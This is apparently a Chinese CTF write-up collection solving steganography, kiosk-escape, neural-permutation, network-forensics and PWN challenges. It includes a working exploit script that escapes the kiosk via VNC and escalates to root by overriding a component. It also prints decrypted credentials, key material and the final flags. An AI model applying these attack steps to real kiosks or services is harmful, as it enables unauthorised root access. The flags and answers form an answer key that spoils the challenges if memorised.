现在的CTF已经全面进化为AI大赛，没有AI基本等于废物
MISC
宇宙微波背景辐射
题目
老式电视机在没有信号时，屏幕上会出现密密麻麻的雪花这些静电干扰大部分来自于地球和地面，但是其中约有 1% 来自宇宙微波背景辐射——那是宇宙诞生约 38 万年后留下的第一缕“光”。天文学家通过极其敏感的仪器绘制这 1% 的微弱信号成为CMB图，用它测量宇宙学参数、研究天体物理和宇宙演化。小的时候曾经看着总是找不到信号的电视机，试图从那雪花中看出来点什么名堂，孩童时期的我们只能通过想象力来寻找那雪花中的图像，不过或许这杂乱无章的白噪声中，真的残余了什么秘密
题解
附件是一个 631 MB 的 mkv（PBS 纪录片 + 6 组”雪花噪声”图像序列）。隐藏信息不在空域也不在像素统计里，而在帧间相关性通道：被隐藏蒙版覆盖的像素会以一定概率与上一帧同值 (只有 lag-1 有信号)。对每组噪声算”相邻帧一致率 − 0.5″，200 对累积后隐藏图显形， 得到 6 段文字，按附件名 g2/g4 给出的编号拼回 flag。
- 时间平均：把 200 帧平均，任何一组的密度图 std=0.03539，与二项分布理论值 0.03533 一致 → 空域无图。
- 帧内统计：每帧白点数 mean≈269700、sd≈400（二项 359.7），自相关≈0 → 无每帧密度通道。
- 帧间一致性（关键）：
mean_i[frame_i == frame_{i+1}] − 0.5存在结构化超标， 且只有 lag-1（lag1 excess≈0.00188，lag2≈0.00005，lag3+≈0）——说明隐藏蒙版 让”相邻两帧在这些像素上同源”，而 lag≥2 立刻解耦。
单像素信噪比只有 ~1.4σ，但文字是大字（约 130 px 高），所以直接渲染 map 就能读。
顺便也被 114 个”边缘像素”印证：它们取了 {8, X, 250−X, 242} 四值（≈25% 各）， 即 blend(noise1, noise2, α)，α∈{0.004…0.44}——这是蒙版边缘的抗锯齿，蒙版内部 α=1 所以完全隐形。
solve_cmb.py 一次抽出六组载体、算 map、渲染 work/g1..g6_hidden.png，并做可选校验。
g1 = 视频轨 0:2 前 200 帧 f1a9{S
g2 = g2.tar 3cr3t_ <- 附件名就是编号
g3 = 视频轨 0:2 后 200 帧 0f_cM6_
g4 = g4.tar h1dd3n_ <- 附件名就是编号
g5 = 字幕轨 200 张 hex→PNG 1n51d3_
g6 = 主视频 1031~1039s 雪花 5tr34m}排序关键：g2.tar/g4.tar 的编号直接给出第 2、4 段；{ 落在 g1、} 落在 g6 固定首尾； 剩 0f_cM6_、1n51d3_ 分给 #3/#5，只有一种排列成句 （”Secret of CMB, hidden inside the stream”）。不能按”句子读起来顺”自行排序—— 先按语义拼成 ...3cr3t_h1dd3n_1n51d3_0f_cM6_5tr34m 会失败。
字体经三段已知文本反推为 Impact（三组宽度预测误差 ≤4 px），可用于逐段模板校验 （--ocr）。注意：单字符层面 5/S/s、6/b/B 的打分只差 0.003~0.02，约 1σ， 所以模板匹配只作交叉验证，最终字形按渲染图人工确认。
完整脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""宇宙微波辐射 - 一键解题（从 mkv 到 flag）"""
import os, sys, glob, subprocess, tarfile
import numpy as np
from scipy import ndimage
from scipy.signal import fftconvolve
from PIL import Image, ImageDraw, ImageFont
MKV, WORK = 'cmb.mkv', 'work'
FONT = 'C:/Windows/Fonts/impact.ttf'
os.makedirs(WORK, exist_ok=True)
def run(*cmd):
subprocess.run(cmd, check=False,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# ---------------------------------------------------------------- 载体抽取
def dump_attachments():
for i, name in ((0, 'g2.tar'), (1, 'g4.tar')):
p = os.path.join(WORK, name)
if not os.path.exists(p):
run('ffmpeg', '-y', '-dump_attachment:t:%d' % i, p, '-i', MKV)
def untar(name):
"""tar 内还套了一层同名目录：g2.tar -> g2/g2/000000.png"""
d = os.path.join(WORK, name[:-4])
pat = d + '/**/*.png'
if len(glob.glob(pat, recursive=True)) < 200:
os.makedirs(d, exist_ok=True)
with tarfile.open(os.path.join(WORK, name)) as t:
t.extractall(d)
return sorted(glob.glob(pat, recursive=True))
def subtitle_pngs():
d, srt = os.path.join(WORK, 'srt'), os.path.join(WORK, 'subs.srt')
if len(glob.glob(d + '/*.png')) == 200:
return sorted(glob.glob(d + '/*.png'))
os.makedirs(d, exist_ok=True)
if not os.path.exists(srt):
run('ffmpeg', '-y', '-i', MKV, '-map', '0:3', srt)
raw = open(srt, encoding='utf-8', errors='ignore').read().replace('\r', '')
for blk in raw.split('\n\n'):
lines = [l for l in blk.strip().split('\n') if l.strip()]
if not lines:
continue
body = ''.join(l.strip() for l in lines
if not l.strip().isdigit() and '-->' not in l)
if body and len(body) % 2 == 0:
n = len(glob.glob(d + '/*.png'))
open(os.path.join(d, '%06d.png' % n), 'wb').write(bytes.fromhex(body))
return sorted(glob.glob(d + '/*.png'))
def raw_frames(tag, args, H, W):
f = os.path.join(WORK, tag + '.gray')
if not os.path.exists(f) or os.path.getsize(f) == 0:
run(*(args + ['-f', 'rawvideo', '-pix_fmt', 'gray', f]))
a = np.fromfile(f, dtype=np.uint8)
n = len(a) // (H * W)
return a[:n * H * W].reshape(n, H, W)
# ------------------------------------------- 核心：帧间一致性 → 隐藏图
def hidden_map(frames, sigma=2.0):
"""lag-1 一致率 − 0.5；被蒙版覆盖的像素为正"""
b = frames > 125
acc = np.zeros(b.shape[1:], dtype=np.int32)
for i in range(len(b) - 1):
acc += (b[i] == b[i + 1])
return ndimage.gaussian_filter(
(acc / (len(b) - 1)).astype(np.float32) - 0.5, sigma)
def save_png(m, path, lo=20, hi=99.5):
a, b = np.percentile(m, [lo, hi])
q = np.clip((m - a) / (b - a + 1e-9), 0, 1)
Image.fromarray((q * 255).astype(np.uint8)).save(path)
# ------------------------------------- 可选：Impact 模板匹配校验（字体已反推）
def render(txt, H, W, size):
img = Image.new('L', (W, H), 0)
ImageDraw.Draw(img).text((W // 2, H // 2), txt, fill=255,
font=ImageFont.truetype(FONT, size), anchor='mm')
return np.asarray(img, np.float32) / 255.
def best_ocr(m, cands, sizes):
H, W = m.shape
mz = m - m.mean(); nm = np.sqrt((mz ** 2).sum()); out = []
for txt in cands:
best = -9.0
for s in sizes:
t = render(txt, H, W, s); t -= t.mean()
nt = np.sqrt((t ** 2).sum())
if nt > 1e-6:
best = max(best, float(fftconvolve(
mz, t[::-1, ::-1], mode='same').max() / (nm * nt)))
out.append((best, txt))
return sorted(out, reverse=True)
CAND = {
'g1': ['f1a9{S', 'f1a9{5', 'f1a9{s'],
'g2': ['3cr3t_', '3cr3t', '5cr3t_'],
'g3': ['0f_cM6_', '0f_cMB_', '0f_cmb_'],
'g4': ['h1dd3n_', 'h1dd3n', 'hidd3n_'],
'g5': ['1n51d3_', '1n51d3', '1n5ld3_'],
'g6': ['5tr34m}', 'Str34m}', 'str34m}'],
}
TEXT = {'g1': 'f1a9{S', 'g2': '3cr3t_', 'g3': '0f_cM6_',
'g4': 'h1dd3n_', 'g5': '1n51d3_', 'g6': '5tr34m}'}
def main():
dump_attachments()
g2, g4 = untar('g2.tar'), untar('g4.tar')
srt = subtitle_pngs()
v2 = raw_frames('v2', ['ffmpeg', '-y', '-i', MKV, '-map', '0:2'], 720, 1280)
tail = raw_frames('tail', ['ffmpeg', '-y', '-ss', '1031.25', '-i', MKV,
'-map', '0:0', '-t', '8.05'], 720, 1280)
load = lambda ps: np.stack([np.asarray(Image.open(p).convert('L')) for p in ps])
groups = {'g1': v2[:200], 'g2': load(g2), 'g3': v2[200:400],
'g4': load(g4), 'g5': load(srt), 'g6': tail}
maps = {}
for k in ('g1', 'g2', 'g3', 'g4', 'g5', 'g6'):
maps[k] = hidden_map(groups[k])
save_png(maps[k], os.path.join(WORK, k + '_hidden.png'))
if '--ocr' in sys.argv:
for k, m in maps.items():
H, W = m.shape
sizes = range(190, 250, 4) if W == 1280 else range(150, 190, 4)
for v, txt in best_ocr(m, CAND[k], sizes)[:2]:
print('%s %-9s corr=%.4f' % (k, txt, v))
flag = ''.join(TEXT[k] for k in ('g1', 'g2', 'g3', 'g4', 'g5', 'g6'))
print('[+] flag: %s' % flag)
main()0perator
题目
酒店的大堂自助入住机疑似存在漏洞，请你展开调查。VNC 密码：123qwe123。flag 在 /root/flag.txt。
题解
解题思路
- TOTP 泄露（应用层）：入住机”手机动态码验证”页的绑定二维码内容为
otpauth://totp/0perator:KIOSK-07?secret=<BASE32>，终端屏幕上直接暴露了运营商动态令牌种子，用标准 TOTP 算法就能生成 6 位码通过校验。 - kiosk 逃逸（系统层）：kiosk 跑在 XFCE 全屏桌面里，启动脚本只禁用了
<Ctrl><Alt>t、<Alt>F2、<Super>等快捷键；Super+E仍能打开 Thunar，在 Thunar 里右键 → Open Terminal Here 拿到kiosk用户 shell（uid=1000）。 - 组件签名绕过（提权）：root 进程
/opt/0perator/device_manager/manager.py通过 system D-Bus（org.operator.DeviceManager）加载设备组件。python 组件签名只覆盖id|version|vendor，不覆盖 entry 代码文件；且当/run/0perator/face.status为disabled时，用户可写目录里同 id 的组件会以user-override被 root 加载 → 复制合法 manifest、替换face.py、D-Bus 触发重载即可 root 任意代码执行。
完整脚本
#!/usr/bin/env python3
"""Hotel kiosk CTF full solve: VNC -> QR TOTP leak -> Thunar shell -> root via component override."""
import base64, hashlib, hmac, re, struct, subprocess, sys, time
from pathlib import Path
import zxingcpp
from PIL import Image
TARGET = sys.argv[1] if len(sys.argv) > 1 else "39.106.53.101:24594"
VNC_PASS = "123qwe123"
SHOT = Path("shot.png")
def vnc(*args):
cmd = ["vncdo", "-s", TARGET, "-p", VNC_PASS, "--force-caps"] + [str(a) for a in args]
subprocess.run(cmd, check=False, capture_output=True)
def shot(path=SHOT):
vnc("pause", "0.3", "capture", str(path))
return path
def open_qr_secret():
shot()
for r in zxingcpp.read_barcodes(Image.open(SHOT)):
m = re.search(r"secret=([A-Z2-7]+)", r.text)
if m:
return m.group(1)
raise SystemExit("otpauth QR not found")
def totp(secret):
key = base64.b32decode(secret + "=" * ((8 - len(secret) % 8) % 8))
counter = int(time.time()) // 30
h = hmac.new(key, struct.pack(">Q", counter), hashlib.sha1).digest()
o = h[-1] & 0x0F
return str((struct.unpack(">I", h[o:o + 4])[0] & 0x7FFFFFFF) % 1000000).zfill(6)
def login(secret):
# 动态码输入框坐标 (530, 667)，然后 Enter 提交
vnc("move", 530, 667, "click", 1, "pause", "0.3",
"key", "ctrl-a", "pause", "0.2", "key", "del", "pause", "0.2",
"type", totp(secret), "pause", "0.3", "key", "enter", "pause", "1.5")
def escape_to_shell():
# Super+E 拉起 Thunar（启动脚本没禁用它）
vnc("key", "super-e", "pause", "1.5")
# 左键激活窗口（第一次点击会被吞掉），右键出菜单，再点 "Open Terminal Here"
vnc("move", 500, 450, "click", 1, "pause", "0.3",
"click", 3, "pause", "0.8",
"move", 590, 543, "click", 1, "pause", "1.5")
def run_in_terminal(script):
b64 = base64.b64encode(script.encode()).decode()
vnc("move", 300, 400, "click", 1, "pause", "0.5")
vnc("type", f"clear; echo {b64} | base64 -d > /tmp/x.sh; sh /tmp/x.sh",
"pause", "0.2", "key", "enter", "pause", "3")
EXPLOIT = r'''#!/bin/sh
# 1) 激活 field-service override
printf 'disabled\n' > /run/0perator/face.status
# 2) 复制 vendor 合法签名 manifest，只替换 entry 指向的代码文件
mkdir -p /var/lib/0perator/components/user/face
cp /usr/share/0perator/components/face/manifest.json \
/var/lib/0perator/components/user/face/manifest.json
cat > /var/lib/0perator/components/user/face/face.py <<'PYEOF'
import os
os.system('cp /root/flag.txt /tmp/f; chmod 644 /tmp/f')
PYEOF
# 3) 让 root 设备管理器重载组件（user-override -> root 代码执行）
gdbus call --system --dest org.operator.DeviceManager \
--object-path /org/operator/DeviceManager \
--method org.operator.DeviceManager1.ReloadComponents >/dev/null
# 4) 读取 flag
echo "FLAG: $(cat /tmp/f)"
'''
if __name__ == "__main__":
secret = open_qr_secret()
print("[+] TOTP secret in QR:", secret)
login(secret)
escape_to_shell()
run_in_terminal(EXPLOIT)
shot(Path("flag.png"))
print("[+] done, flag printed in terminal -> flag.png")NeuronShuffle
题目
本题含有少量人工神经元，运输过程中可能出现沉淀
使用前请充分摇匀
如出现头晕、眼花、脱发或开始质疑自我，均属正常现象。请勿停止做题，以免前功尽弃
本品最终解释权归脑子所有
题解
附件给了同一网络的“正常版”model_A.npz 与“运输途中沉淀版”model_B.bin： 目标是恢复隐层神经元的洗牌排列。model_B.bin 是被 keystream 整体加密的高熵字节流， 读不出内容；但 check.py 只校验排列串，且 flag 就是该排列串的哈希，因此它是一个 离线 oracle —— 直接按作者惯用的日期型种子爆破 default_rng(seed).permutation(48/40/32)，命中即得 flag。
Step 1: 认清目标 —— 要还原的是“排列”，不是模型输出
model_A.npz 共 5384 个 float64 参数，形状为 k1(16,32) k5(48,32) k2(40,48) k6(32,40) 加四个偏置 k0(16) k3(48) k4(40) k7(32)，即网络 32 → 48 → 40 → 32 → 16，三个隐层 正好对应三组排列长度 48 / 40 / 32。
题面“含有少量人工神经元”是实话：48 个隐神经元的入权重只有 14 种不同取值、40 个只有 12 种、32 个只有 10 种，且偏置的类标号与入权重逐位置一致（同类神经元大量重复）。 所以“按权重值排序反推原顺序”这条路不成立——同类神经元可互换，必须拿到真正的洗牌排列。
model_B.bin 长度和 model_A.npz 完全相同（都是 44982 字节，同结构未压缩 npz），但字节熵 7.997 bit/byte、没有 PK / NUMPY 明文特征 → 它是被 keystream 整体加密的，密钥不在附件里 （试过日期/小整数种子 + 8 种 numpy default_rng/RandomState/random.Random 的 keystream 变体， 0..2M 种子无果）。所以不解模型 B。
Step 2: 用 check.py 当 oracle 爆破洗牌种子
check.py 的校验完全离线：
canon = ";".join(",".join(str(int(v)) for v in s.split(",")) for s in text.split(";"))
body = sha256(canon).hexdigest()[:32]
assert sha256(("ns::" + body).hexdigest()) == V # V 是硬编码的 sha256也就是说：只要能给出通过校验的排列串，flag 就自动出来了。作者洗牌的写法是 np.random.default_rng(seed) 依次 permutation(48)、permutation(40)、permutation(32)， 于是遍历日期型种子 YYYYMMDD 即可（9803 个，0.5 秒扫完，区间内唯一命中 20261102）。
#!/usr/bin/env python3
"""neuron_shuffle 完整解题脚本：从附件到 flag。"""
import datetime
import hashlib
import numpy as np
NPZ = r"C:\Users\Lufer\Downloads\neuron_shuffle_8a803e935e33df360a9e1e1976d567c5\neuron_shuffle\model_A.npz"
BIN = r"C:\Users\Lufer\Downloads\neuron_shuffle_8a803e935e33df360a9e1e1976d567c5\neuron_shuffle\model_B.bin"
HIDDEN = (48, 40, 32) # 三个隐层的神经元个数
V = "cf8303ef7e9fc6f51baf27b6e2c8763bd199a0a24c5294bcdaca3ddef6e47864" # check.py 里的目标值
def perms_for_seed(seed):
"""作者洗牌写法：同一个 Generator 依次 permutation(48/40/32)，0 基、正向。"""
rng = np.random.default_rng(seed)
return ";".join(",".join(map(str, rng.permutation(n).tolist())) for n in HIDDEN)
def flag_of(answer):
"""复刻 check.py：排列串 -> flag body。不符则返回 None。"""
body = hashlib.sha256(answer.encode()).hexdigest()[:32]
return body if hashlib.sha256(("ns::" + body).encode()).hexdigest() == V else None
# 0. 附件自检：模型结构 + 少量人工神经元（说明为什么必须找排列而不是排序）
d = np.load(NPZ)
print("参数总数 =", sum(d[k].size for k in d.files),
"| 隐层 =", HIDDEN,
"| 隐层不同神经元数 =",
[len({d[w][i].tobytes() for i in range(d[w].shape[0])})
for w in ("k5", "k2", "k6")])
b = open(BIN, "rb").read()
hist = np.bincount(np.frombuffer(b, dtype=np.uint8), minlength=256) / len(b)
print("model_B.bin 长度 =", len(b), "| 熵 = %.3f" % (-(hist[hist > 0] * np.log2(hist[hist > 0])).sum()),
"-> keystream 加密，不可读\n")
# 1. 日期型种子爆破 default_rng(seed).permutation(48/40/32)，用目标哈希验
day, end = datetime.date(2000, 1, 1), datetime.date(2030, 12, 31)
for i in range((end - day).days + 1):
seed = int((day + datetime.timedelta(days=i)).strftime("%Y%m%d"))
answer = perms_for_seed(seed)
body = flag_of(answer)
if body:
print("[+] seed =", seed)
print("[+] 排列(48/40/32) =", answer)
print("[+] flag = flag{%s}" % body)
open("answer.txt", "w").write(answer + "\n")
break
else:
print("[-] 未命中")实际输出：
text复制
参数总数 = 5384 | 隐层 = (48, 40, 32) | 隐层不同神经元数 = [14, 12, 10]
model_B.bin 长度 = 44982 | 熵 = 7.997 -> keystream 加密，不可读
[+] seed = 20261102
[+] 排列(48/40/32) = 39,40,46,0,2,24,45,15,30,21,10,11,27,43,16,38,33,5,23,26,22,32,13,42,19,36,25,1,31,34,18,9,20,7,44,3,4,14,28,12,35,41,37,17,8,47,6,29;20,25,36,35,15,0,5,19,38,17,27,10,24,7,23,22,28,12,11,4,3,14,34,26,21,37,30,16,9,8,39,31,2,29,33,32,1,6,13,18;2,16,12,17,29,5,22,13,4,3,8,24,7,26,21,23,25,31,28,15,30,10,6,19,18,9,1,14,11,20,0,27
[+] flag = flag{5c2aabdc937513bde1ba502f14cc51b6}Step 3: 用题目原版校验器复核
python check.py answer.txt
# [+] correct! flag = flag{5c2aabdc937513bde1ba502f14cc51b6}谍影重重7
题目
近期，公司收到举报，称员工张纪星涉嫌利用职务便利，未经授权访问内部核心计算机并窃取机密数据。现已提取涉案设备的网络流量，请分析相关通信，重建访问链路，追踪文件传输过程，查明实际获取的数据内容。
题解
题目1
浏览器访问的 PVE 虚拟机控制台所属节点名称、虚拟机 ID 分别是什么？
提交格式：节点名称|VMID
题解
客户端第一条明文就是 PVE API 请求，URL 里直接带节点与 VMID：
GET /api2/json/nodes/pve-lab/qemu/219/vncwebsocket?port=5900&vncticket=…
→ `pve-lab|219`。
题目2
该控制台第一个包含实际像素矩形的完整 FramebufferUpdate 处理结束后，画面宽度、高度和完整 RGB888 字节流的 SHA-256 分别是多少？字节按行从左到右、自上而下排列，不含行填充和文件头，不额外叠加 RFB 独立光标图层；普通像素矩形中的内容全部保留。
提交格式：宽|高|sha256
题解
把 WebSocket 帧拆出来得到 RFB 流（RFB 003.008 → 3.8），跳过 ServerInit/CutText，解析 FramebufferUpdate，取第一个包含真实像素矩形的更新，按 Tight（encoding 7）解出整帧，输出 宽|高|SHA256(RGB888 行优先、无填充)：
# rfb_firstframe.py（核心片段）
W, H = 1024, 768
fb = bytearray(W * H * 3)
# ... 解析 FramebufferUpdate，对每个 rect 调 Tight 解码写回 fb ...
import hashlib
print(f"{W}|{H}|{hashlib.sha256(bytes(fb)).hexdigest()}")→ 1024|768|ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334。
题目3
成功远程登录的目标地址、端口和完整账户分别是什么？
提交格式：IP:端口|计算机名\用户名
题解
要点（踩坑记录）：
- 套件
TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)，PRF 用 SHA-384； - EMS：
master = PRF(premaster, "extended master secret", SHA384(handshake_transcript), 48)，transcript = ClientHello‖ServerHello‖Certificate‖ServerHelloDone‖ClientKeyExchange； - GCM 的 AAD 长度用明文长度（
len(record) - 8 - 16），不是记录长度； - 序号在 ChangeCipherSpec 之后从 0 重新计数。
# decrypt_rdp.py
import collections, hmac, struct
from hashlib import sha384
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from scapy.all import PcapReader, IP, TCP
CLIENT_RANDOM = bytes.fromhex("df892bff198e232d4a42093adb73267fda8aebcb73a00af33b252fa8a9376d24")
MASTER = bytes.fromhex("4dfd25b36ddc804475b774defee11ac637690d16ecd9ce28ecc5e618301df04f"
"3453fed77e1e194f71cc8f6c3ae36a74")
def prf(secret, label, seed, n):
out, a = b"", label + seed
while len(out) < n:
a = hmac.new(secret, a, sha384).digest()
out += hmac.new(secret, a + label + seed, sha384).digest()
return out[:n]
# 展开 master secret
key_block = prf(MASTER, b"key expansion", CLIENT_RANDOM + SERVER_RANDOM, 2*32 + 2*4 + 2*12)
c_key, s_key = key_block[:32], key_block[32:64]
c_iv, s_iv = key_block[64:68] + key_block[72:80], key_block[80:84] + key_block[88:96]
# 逐记录解密（注意：seq 在 CCS 之后归零；AAD 长度用明文长度）
def decrypt_dir(records, key, iv):
seq = 0; out = bytearray()
for ct, body in records:
if ct != 0x17: continue
aad = bytes([0x17, 0x03, 0x03]) + (len(body) - 8 - 16).to_bytes(2, "big")
pt = AESGCM(key).decrypt(iv + seq.to_bytes(8, "big"), body, aad)
seq += 1
out.extend(pt)
return bytes(out)解出的客户端明文里能直接读到 Client Info PDU：
Domain: CORE01 User: Tsuki
Password: Tsuki-2980d0e940370f69!
Client Address: 10.23.8.10结合服务端地址（10.23.8.41:3389）→ Q3：
10.23.8.41:3389|CORE01\Tsuki题目4
第四问：传出的加密仓库，其正确口令和最新有效快照的完整 ID 分别是什么？
提交格式：仓库口令|快照完整ID
题解
从 rdpdr 通道抠出 restic 仓库，客户端在 rdpdr 通道里用 rDAD 宣告了重定向盘：
rDAD 01 00 00 00 08 00 00 00 01 00 00 00 "CTFDrop" ...服务端把它当 \\tsclient\CTFDrop，客户端对应 C:\Users\Tsuki\RDPDropR2。服务端把 \repo 整个写进去 = 外传。
rdpdr 报文头 56 字节：+8=fileId、+16=major(4=WRITE)、+24=length、+28=offset、+56=data；CREATE 则是 +52=pathLength、+56=path(UTF-16LE)。
# rdpdr_repo.py —— 按 fileId 聚合 WRITE，再按 CREATE 的路径落盘
import os, collections, hashlib
d = open("s_1004.bin", "rb").read() # 服务端→客户端 rdpdr 通道数据
n = len(d)
files = collections.OrderedDict()
cur = None
i = 0
while i < n:
if d[i:i+4] != b"rDRI":
i += 1; continue
if i + 56 > n: break
fid = int.from_bytes(d[i+8:i+12], "little")
major= int.from_bytes(d[i+16:i+20], "little")
ln = int.from_bytes(d[i+24:i+28], "little")
# CREATE
plen = int.from_bytes(d[i+52:i+56], "little")
if major == 0 and 0 < plen <= 600 and i+56+plen <= n:
try:
path = d[i+56:i+56+plen].decode("utf-16-le").rstrip("\x00")
except Exception:
path = ""
if path.startswith("\\"):
cur = path
files.setdefault(cur, bytearray())
i += 56 + plen
continue
# WRITE
if major == 4 and 0 < ln <= 262144 and i + 56 + ln <= n:
if cur is not None:
files[cur] += d[i+56:i+56+ln]
i += 56 + ln
continue
i += 4
os.makedirs("recovered_repo", exist_ok=True)
for path, buf in files.items():
rel = path.strip("\\").replace("\\", "/")
dst = os.path.join("recovered_repo", rel)
os.makedirs(os.path.dirname(dst), exist_ok=True)
open(dst, "wb").write(bytes(buf))
# restic 存储对象名 = 内容 SHA-256
name = os.path.basename(rel)
ok = (name == hashlib.sha256(bytes(buf)).hexdigest()) or name in ("config",)
print(f"{len(buf):>9} {rel} hash_ok={ok}")
输出（10 个文件，哈希全部对上）：
155 config
455 keys/a8e7deaf…fbde1
401 snapshots/0800e613…ba0a
398 snapshots/d7d68e7e…b48d
745 index/9ad3c5cc…ac21f
747 index/89d7600d…d9b0e6
3423 data/01/0155ea58…2e4fb0
2434880 data/10/10c62b94…13ee01
3476 data/3e/3e158d68…075a02
2425378 data/c3/c368a2c1…37cef59
现在需要密码来解密文件
用题目提供的浏览器 TLS 密钥解密管理端抓包后，可以看到 noVNC 的 WebSocket 通信，其中承载的是 RFB 协议。本题客户端发出的鼠标消息为 6 字节：
05 按钮状态 X高字节 X低字节 Y高字节 Y低字节05：RFB PointerEvent。- 按钮状态的最低位：
1表示左键按下，0表示左键松开。 - X、Y：各占两个字节，以大端序存储，表示远程桌面坐标。
连续比较按钮状态，就可以把消息配对成一次操作：
左键 0→1：记录按下时间、起点坐标
左键 1→0：记录松开时间、终点坐标
按住时长 = 松开时间 − 按下时间
位移 = 终点坐标 − 起点坐标必须识别状态变化，不能把按住左键移动期间的每条消息都算成一次点击。
从还原画面可见，前段操作围绕一个空白记事本反复进行。结合位置、位移和时长，形成以下规则：
| 操作 | 识别依据 | 含义 |
|---|---|---|
| 正文区短点击 | 起点在正文区，几乎没有位移 | 点 . |
| 拖动窗口 | 起点在标题栏，按住并明显移动 | 划 - |
| 窗口外点击 | 起点不在当前窗口范围内 | 结束当前字符 |
| 标题栏原地短点击 | 在标题栏，但没有明显位移 | 激活窗口，忽略 |
本次解码用到的校验条件是：正文点击小于 0.25 秒、位移小于 5 像素；拖动大于 0.3 秒、位移大于 20 像素。这些是针对本题观测事件的分类条件，不是摩尔斯码或 RFB 协议的标准阈值。
另一个关键点：每次拖动后必须更新窗口坐标。否则窗口移动几次后，正文、标题栏和窗口外就会判断错。
按同一规则得到：
-. - ....- ...- .--. ..... -..- ---.. ....- ..--- -.. -..
N T 4 V P 5 X 8 4 2 D D所以口令是：
NT4VP5X842DD仓库口令 NT4VP5X842DD 来自对 noVNC 指针事件的摩尔斯解读（短点击=点、窗口拖动=划）。
拿到口令后用标准 restic 算法即可：
scrypt(pw, salt, N=32768, r=8, p=6, 64B)→ 前 32B 加密钥、后 32B =K(16)‖R(16)；- key 文件
data=IV(16)‖AES-256-CTR(密文)‖Poly1305-AES(16)，MAC 覆盖密文，Poly1305 一次性密钥 =R‖AES-128(K, IV)。
# restic_crack.py
import base64, json
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.poly1305 import Poly1305
kf = json.load(open("recovered_repo/keys/a8e7deaf1d0c3a4f17b5129b8cd7432e1e9bece7b6ef847c046d0ab9157fbde1"))
salt = base64.b64decode(kf["salt"]); raw = base64.b64decode(kf["data"])
iv, ct, tag = raw[:16], raw[16:-16], raw[-16:]
dk = Scrypt(salt=salt, length=64, n=kf["N"], r=kf["r"], p=kf["p"]).derive(b"NT4VP5X842DD")
enc = Cipher(algorithms.AES(dk[32:48]), modes.ECB()).encryptor()
s = enc.update(iv) + enc.finalize()
assert Poly1305.generate_tag(dk[48:64] + s, ct) == tag
master = Cipher(algorithms.AES(dk[:32]), modes.CTR(iv)).decryptor().update(ct) # 最后 16B 是 tag，需切掉
print(master)
得到 master key：
{"mac":{"k":"Z5qkQyXuOMe1kCv5vfDQRA==","r":"1XTg78joAe3QIAIx0y2AFg=="},
"encrypt":"CN8kyRdRCxbnhN8TtEqsHA8zHbJk83vYIqJOftnM/RU="}
用它解 config / snapshots / index / pack（v2 仓库的明文首字节 0x02 表示 zstd，0x00 表示不压缩；pack 内的 blob 直接是 zstd 帧 28 B5 2F FD）：
# restic_open.py —— 解快照并还原文件
import base64, json, os, hashlib
import zstandard as zstd
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.poly1305 import Poly1305
REPO = "recovered_repo"
mk = json.load(open(os.path.join(REPO, "masterkey.json")))
ek = base64.b64decode(mk["encrypt"]); kk = base64.b64decode(mk["mac"]["k"]); kr = base64.b64decode(mk["mac"]["r"])
def dec_raw(raw):
iv, ct, tag = raw[:16], raw[16:-16], raw[-16:]
e = Cipher(algorithms.AES(kk), modes.ECB()).encryptor(); s = e.update(iv) + e.finalize()
assert Poly1305.generate_tag(kr + s, ct) == tag
d = Cipher(algorithms.AES(ek), modes.CTR(iv)).decryptor()
return d.update(ct) + d.finalize()
def maybe_zstd(b):
if b[:4] == b"\x28\xb5\x2f\xfd": return zstd.ZstdDecompressor().decompress(b, max_output_size=1 << 28)
if b[:1] in (b"{", b"["): return b
if b[0] == 0x02: return zstd.ZstdDecompressor().decompress(b[1:], max_output_size=1 << 28)
if b[0] == 0x00: return b[1:]
raise ValueError("encoding %d" % b[0])
idx = {}
for n in os.listdir(os.path.join(REPO, "index")):
j = json.loads(maybe_zstd(dec_raw(open(os.path.join(REPO, "index", n), "rb").read())))
for p in j["packs"]:
for b in p["blobs"]:
idx[(b["type"], b["id"])] = (p["id"], b["offset"], b["length"])
def blob(kind, bid):
pack, off, ln = idx[(kind, bid)]
return maybe_zstd(dec_raw(open(os.path.join(REPO, "data", pack[:2], pack), "rb").read()[off:off+ln]))
for snapname in sorted(os.listdir(os.path.join(REPO, "snapshots"))):
snap = json.loads(maybe_zstd(dec_raw(open(os.path.join(REPO, "snapshots", snapname), "rb").read())))
print(snapname[:12], snap["time"], snap["tree"], snap.get("tags"))
两个快照：
| 快照 | 时间 | 文件 |
|---|---|---|
0800e613… | 2026-10-25T00:23:16 | MouseVault.exe + core-assets.vault(sha256 2d4ba9cd…) |
d7d68e7e… | 2026-10-25T00:23:30 | MouseVault.exe + core-assets.vault(sha256 57da4829…) |
两者都完整可恢复，取时间最新的 → Q4：
NT4VP5X842DD|d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d题目5
员工电脑上用于解锁加密文件的实际有效密码
提交格式：密码
题解
查看RDP之后的操作，可以看见点击输入的密码，注意点击之后拖动移出的按钮不会算作输入，密码总共12位。
006187393179题目6
第二层解密后原始文件的文件名、字节数、sha256
提交格式：文件名|字节数|sha256
题解
用之前获得的key解快照，获得加密文件和加密器，用加密器输入密码解加密文件，获得二层解密之后的文件。
core-assets.db|2424832|5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419PWN
Easytl
题目
“一个正常的服务器，快来试试吧。”
题解
附件是一个 5.7 MB 的 ELF：ELF 64-bit LSB executable, x86-64, statically linked, not stripped（无 .symtab，但字符串里有 3.0.13 与 ../crypto/...、.note.stapsdt，可判定为 OpenSSL 3.0.13 静态链接）。程序自己监听 1443 端口， 每来一个连接 fork() 三次后由“孙进程”处理，因此父进程常驻、所有子进程 canary 相同。
1、三个回调 + 一个全局变量“长度混搭”
三个回调共用 0x970f40…0x970f68 的全局：
char *g_p40; int g_len48; // 0x970f40 / 0x970f48 —— PSK identity 拷贝
char *g_p50; int g_len58; // 0x970f50 / 0x970f58 —— SNI 拷贝
char *g_p60; int g_len68; // 0x970f60 / 0x970f68 —— 日志用的 (ptr, len)① SNI 回调（0x40320a）
